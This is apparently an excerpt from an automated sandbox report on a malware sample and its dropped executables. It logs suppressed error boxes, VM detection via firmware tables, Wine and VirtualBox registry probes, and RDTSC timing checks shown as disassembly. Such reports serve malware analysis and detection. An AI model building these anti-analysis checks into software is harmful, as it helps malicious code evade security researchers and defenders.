Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE197 second address: 5FE1BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F45A8838C84h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F45A8838C7Ah 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE1BB second address: 5FE1DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F45A84F3301h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE1DF second address: 5FE1FD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F45A8838C84h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE38B second address: 5FE390 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE390 second address: 5FE396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE5E2 second address: 5FE5E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE5E8 second address: 5FE5EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE5EF second address: 5FE5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE757 second address: 5FE75D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600996 second address: 6009D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jp 00007F45A84F32F6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F45A84F32F8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D2CA4h], eax 0x00000031 push 00000000h 0x00000033 call 00007F45A84F32F9h 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6009D9 second address: 6009FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A8838C7Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F45A8838C7Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6009FD second address: 600A02 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600A02 second address: 600A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jne 00007F45A8838C78h 0x00000012 pushad 0x00000013 jmp 00007F45A8838C7Dh 0x00000018 jg 00007F45A8838C76h 0x0000001e popad 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 jl 00007F45A8838C88h 0x00000028 jmp 00007F45A8838C82h 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600A4F second address: 600A5C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F45A84F32F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600A5C second address: 600A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pop eax 0x00000007 mov dword ptr [ebp+122D2D1Bh], eax 0x0000000d push edx 0x0000000e mov edx, dword ptr [ebp+122D2A2Ch] 0x00000014 pop edi 0x00000015 push 00000003h 0x00000017 and edi, dword ptr [ebp+122D2B68h] 0x0000001d push 00000000h 0x0000001f add dword ptr [ebp+122D2CA4h], edx 0x00000025 push 00000003h 0x00000027 mov edi, dword ptr [ebp+122D2974h] 0x0000002d push A69DE0E0h 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push eax 0x00000038 pop eax 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600A96 second address: 600AD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3300h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 669DE0E0h 0x00000010 lea ebx, dword ptr [ebp+124558A9h] 0x00000016 jns 00007F45A84F32FFh 0x0000001c pushad 0x0000001d clc 0x0000001e xor dword ptr [ebp+122D17E2h], ebx 0x00000024 popad 0x00000025 xchg eax, ebx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 js 00007F45A84F32F6h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600AD0 second address: 600AF0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F45A8838C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F45A8838C84h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600B88 second address: 600B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600B8C second address: 600C1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a xor dword ptr [esp], 1C08B0CFh 0x00000011 mov dword ptr [ebp+122D197Bh], ebx 0x00000017 push 00000003h 0x00000019 mov ecx, dword ptr [ebp+122D2914h] 0x0000001f push 00000000h 0x00000021 sub dword ptr [ebp+122D18F0h], eax 0x00000027 push 00000003h 0x00000029 xor edi, dword ptr [ebp+122D289Ch] 0x0000002f or dword ptr [ebp+122D17E2h], edi 0x00000035 push CC5B2161h 0x0000003a pushad 0x0000003b push ebx 0x0000003c jmp 00007F45A8838C7Dh 0x00000041 pop ebx 0x00000042 push ecx 0x00000043 pushad 0x00000044 popad 0x00000045 pop ecx 0x00000046 popad 0x00000047 xor dword ptr [esp], 0C5B2161h 0x0000004e jne 00007F45A8838C7Ch 0x00000054 lea ebx, dword ptr [ebp+124558B2h] 0x0000005a call 00007F45A8838C7Ah 0x0000005f mov dword ptr [ebp+122D17C1h], eax 0x00000065 pop esi 0x00000066 mov edi, dword ptr [ebp+122D2B5Ch] 0x0000006c xchg eax, ebx 0x0000006d jc 00007F45A8838C7Eh 0x00000073 push esi 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D84 second address: 600D8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F45A84F32F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D8F second address: 600E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 19CD785Bh 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F45A8838C78h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D1CEBh], esi 0x0000002e stc 0x0000002f mov edi, dword ptr [ebp+122D2BD0h] 0x00000035 lea ebx, dword ptr [ebp+124558BDh] 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007F45A8838C78h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 sub esi, dword ptr [ebp+122D2970h] 0x0000005b mov esi, dword ptr [ebp+122D2928h] 0x00000061 xchg eax, ebx 0x00000062 jns 00007F45A8838C8Ch 0x00000068 push eax 0x00000069 push esi 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600E24 second address: 600E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613477 second address: 61347B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61347B second address: 613481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623005 second address: 623023 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C82h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F45A8838C76h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623023 second address: 623027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623027 second address: 623045 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F45A8838C96h 0x0000000e jmp 00007F45A8838C7Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623045 second address: 623049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620D5C second address: 620D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620D60 second address: 620D6E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F45A84F32F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620D6E second address: 620D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A8838C7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620D7D second address: 620D99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F45A84F3306h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620D99 second address: 620DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F45A8838C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620DA3 second address: 620DCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F45A84F330Fh 0x00000011 push ecx 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop ecx 0x00000015 pushad 0x00000016 jmp 00007F45A84F32FDh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6211F8 second address: 62121B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F45A8838C89h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62121B second address: 621233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A84F3303h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621521 second address: 621544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F45A8838C76h 0x0000000a jmp 00007F45A8838C83h 0x0000000f popad 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621544 second address: 621565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F45A84F3309h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621565 second address: 62156B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621679 second address: 62167F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9B18 second address: 5E9B34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F45A8838C86h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F45A8838C7Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6226D5 second address: 6226DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6226DB second address: 622707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F45A8838C7Fh 0x0000000c jmp 00007F45A8838C86h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622707 second address: 62270B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62270B second address: 622713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
